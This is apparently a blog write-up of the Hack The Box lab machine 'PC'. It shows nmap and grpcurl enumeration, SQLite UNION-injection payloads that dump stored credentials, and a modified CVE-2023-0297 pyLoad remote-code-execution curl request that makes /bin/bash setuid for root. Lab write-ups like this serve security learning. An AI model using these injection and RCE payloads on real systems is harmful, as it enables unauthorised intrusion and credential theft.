Home HTB PC Writeup
Post
Cancel

HTB PC Writeup

NamePC
OSPC
DIFFICULTYEasy

Summary

In my quest to conquer this machine, I initiated reconnaissance with an nmap scan, unveiling SSH and a mysterious service on port 50051. My investigation led to the discovery of gRPC, a high-performance RPC framework. Armed with the grpcurl tool, I delved into the gRPC service, revealing two services - SimpleApp and grpc.reflection.v1alpha.ServerReflection. Within SimpleApp, I identified three methods: LoginUser, RegisterUser, and getInfo. After creating an account using RegisterUser, I obtained a JWT token for authentication to the getInfo method. Delving further, I suspected the method’s interaction with a database and leveraged SQL injection to unveil the database version. Using group_concat(), I enumerated tables, unearthing username and password tables. Extracting data from these tables, I successfully logged in and got the user flag.

My exploration internally extended to port 8000, where I uncovered an HTTP site named pyLoad. I uncovered a promising exploit: CVE-2023-0297_Pre-auth_RCE_in_pyLoad. A slight modification to the PoC, adding the suid bit to /bin/bash and adjusting the IP address, granted me root access. In the end, victory was mine.

Recon

To initiate reconnaissance, I began with an nmap scan to identify open ports. I initiated a preliminary scan to quickly check all available ports, followed by a more focused scan employing nse scripts. The scan results revealed that SSH is active, along with an unidentified service running on port 50051.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿dragon)-[~/htb/pc]
└─# nmap -p- --min-rate 1000 -oN allPorts.nmap 10.129.227.161

Nmap scan report for 10.129.227.161
Host is up (0.061s latency).
Not shown: 65533 filtered tcp ports (no-response)

PORT      STATE SERVICE
22/tcp    open  ssh
50051/tcp open  unknown

┌──(root㉿dragon)-[~/htb/pc]  
└─# nmap -p 22,50051 -sVC -oN scriptScan.nmap 10.129.227.161     
Nmap scan report for 10.129.227.161                              Host is up (0.064s latency).                                                                                                     PORT      STATE SERVICE VERSION                                  22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                   
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)                  
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)     

50051/tcp open  unknown

I conducted an online search using the query ‘TCP port 50051’ in an attempt to identify the service running on this port. The search results yielded several references to gRPC. Prior to this, I had no prior knowledge of gRPC, prompting me to delve into research to understand its purpose and use. In summary, gRPC is a robust and high-performance Remote Procedure Call (RPC) framework designed for scalability and security. It facilitates the connection of services within and across networks, offering features such as load balancing, tracing, health checking, and authentication. Essentially, it serves as a high-performance HTTP RPC protocol and is commonly used for backend APIs.

To interact with the service, I downloaded and utilized a tool called grpcurl.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿dragon)-[~/htb/pc]                             
└─# wget https://github.com/fullstorydev/grpcurl/releases/download/v1.8.7/grpcurl_1.8.7_linux_x86_64.tar.gz

[snip]
grpcurl_1.8.7_linux_x86_64.tar.g 100%[========================================================>]   7.11M  19.5MB/s    in 0.4s    
2023-05-21 10:00:32 (19.5 MB/s) - ‘grpcurl_1.8.7_linux_x86_64.tar.gz’ saved [7460415/7460415]

┌──(root㉿dragon)-[~/htb/pc]
└─# tar -xvf grpcurl_1.8.7_linux_x86_64.tar.gz** 

LICENSE
grpcurl

When utilizing the list verb, it became evident that there are two items running on this service: SimpleApp and grpc.reflection.v1alpha.ServerReflection.

1
2
3
4
5
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 list

SimpleApp
grpc.reflection.v1alpha.ServerReflection

The SimpleApp service offers three distinct methods: LoginUser, RegisterUser, and getInfo. To gather more detailed information about each of these methods, the describe verb can be employed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 list SimpleApp

SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 describe SimpleApp

SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );

}

Digging deeper into each of the methods, I learn how to invoke them. The RegisterUser method requires two parameters: username and password.

1
2
3
4
5
6
7
8
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 describe RegisterUserRequest
RegisterUserRequest is a message:
message RegisterUserRequest 
{
  string username = 1;
  string password = 2;
}

LoginUser also takes two parameters: username and password.

1
2
3
4
5
6
7
8
9
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -plaintext 10.129.227.161:50051 describe LoginUserRequest   

LoginUserRequest is a message:
message LoginUserRequest 
{
  string username = 1;
  string password = 2;
}

getInfo just required an id parameter.

1
2
3
4
5
6
7
8
9
┌──(root㉿dragon)-[~/htb/pc]

└─# ./grpcurl -plaintext 10.129.227.161:50051 describe getInfoRequest  

getInfoRequest is a message:
message getInfoRequest 
{
  string id = 1;
}

When calling the RegisterUser method, I created an account to facilitate interactions with the RPC. It’s worth noting that the documentation specifies the requirement for requests to be in json format. Accordingly, I used the parameters previously identified to create an account.

1
2
3
4
5
6
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -d '{"username":"zonzon", "password":"zonzon"}' -plaintext 10.129.227.161:50051  SimpleApp.RegisterUser

{
  "message": "Account created for user zonzon!"
}

Utilizing my account, I can authenticate to the application and acquire a JWT token that allows me to authenticate when using the getInfo method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -d '{"username":"zonzon", "password":"zonzon"}' -plaintext -v 10.129.227.161:50051 SimpleApp.LoginUser 

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Response contents:
{
  "message": "Your id is 380."
}

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4'

Supplying the JWT token and an id parameter, I received some output!

1
2
3
4
5
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "1"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo
{
  "message": "The admin is working hard to fix the issues."
}

Considering how this method functions, it likely takes the id number and passes it to a database to retrieve information about the corresponding user. PayloadsAllTheThings offers an injection table for identifying the type of database running in the background. I successfully executed an injection to retrieve the database version using UNION ALL SELECT sqlite_version(). The use of UNION ALL enables us to execute another SELECT statement, giving us the ability to fetch other data from the database, such as its version

1
2
3
4
5
6
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT sqlite_version()"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo

{
  "message": "3.31.1"
}

Next, my objective was to enumerate other tables within the database. I leveraged the group_concat() function, which aggregates all rows into a single record. This enabled me to retrieve and print out the names of all the tables in the database.

1
2
3
4
5
6
7
8
9
┌──(root㉿dragon)-[~/htb/pc]

└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT group_concat(sql) from sqlite_master"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo

{

  "message": "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n),CREATE TABLE messages(id INT UNIQUE, username TEXT UNIQUE,message TEXT)"

}

Armed with a list of tables, I employed the group_concat() function to extract the contents of both the username table and the password table. From this data dump, I acquired the following entries: admin:admin and sau:HereIsYourPassWord1431.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT group_concat(username) from accounts"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo 

{
  "message": "admin,sau"
}


┌──(root㉿dragon)-[~/htb/pc]
└─# ./grpcurl -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiem9uem9uIiwiZXhwIjoxNjg0NzA3MzQxfQ.FVMh8_QlEjtStXzT9jseWz_767ax0aFtWJk9LguzlG4' -d '{"id": "0 UNION ALL SELECT group_concat(password) from accounts"}' -plaintext 10.129.227.161:50051 SimpleApp.getInfo 

{
  "message": "admin,HereIsYourPassWord1431"
}

sau:HereIsYourPassWord1431 worked on SSH, allowing me to obtain the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿dragon)-[~/htb/pc]
└─# ssh sau@10.129.227.161
The authenticity of host '10.129.227.161 (10.129.227.161)' can't be established.
ED25519 key fingerprint is SHA256:63yHg6metJY5dfzHxDVLi4Zpucku6SuRziVLenmSmZg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.227.161' (ED25519) to the list of known hosts.
sau@10.129.227.161's password: 
Last login: Mon May 15 09:00:44 2023 from 10.10.14.19

sau@pc:~$ cat user.txt 
1a77e********************

Root

During some basic reconnaissance on the host, I found that port 8000 was open internally.

1
2
3
4
5
6
7
8
9
10
11
12
13
sau@pc:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::50051                :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   

I attempted to run curl on the service and had the fortune of discovering that it’s an HTTP site. The site’s title is pyLoad. A Google search for pyLoad exploit directed me to a repository containing a proof-of-concept (PoC) exploit.

1
2
3
4
5
6
7
8
sau@pc:~$ curl localhost:8000/login                             

<!DOCTYPE html>                                                  <html lang="en">                                                                                                                 <head>                                                                                                                 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>                                                   

[SNIP]

<title>Login - pyLoad </title>

I made slight modifications to the PoC, adding the suid bit to /bin/bash and incorporating the IP address.

1
curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2'

The exploit succeeded, granting me elevated privileges to root.

1
2
3
4
5
6
7
8
9
sau@pc:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

sau@pc:~$ /bin/bash -p
bash-5.0# id
uid=1001(sau) gid=1001(sau) euid=0(root) groups=1001(sau)

bash-5.0# cat root.txt
7d5e5d****************
This post is licensed under CC BY 4.0 by the author.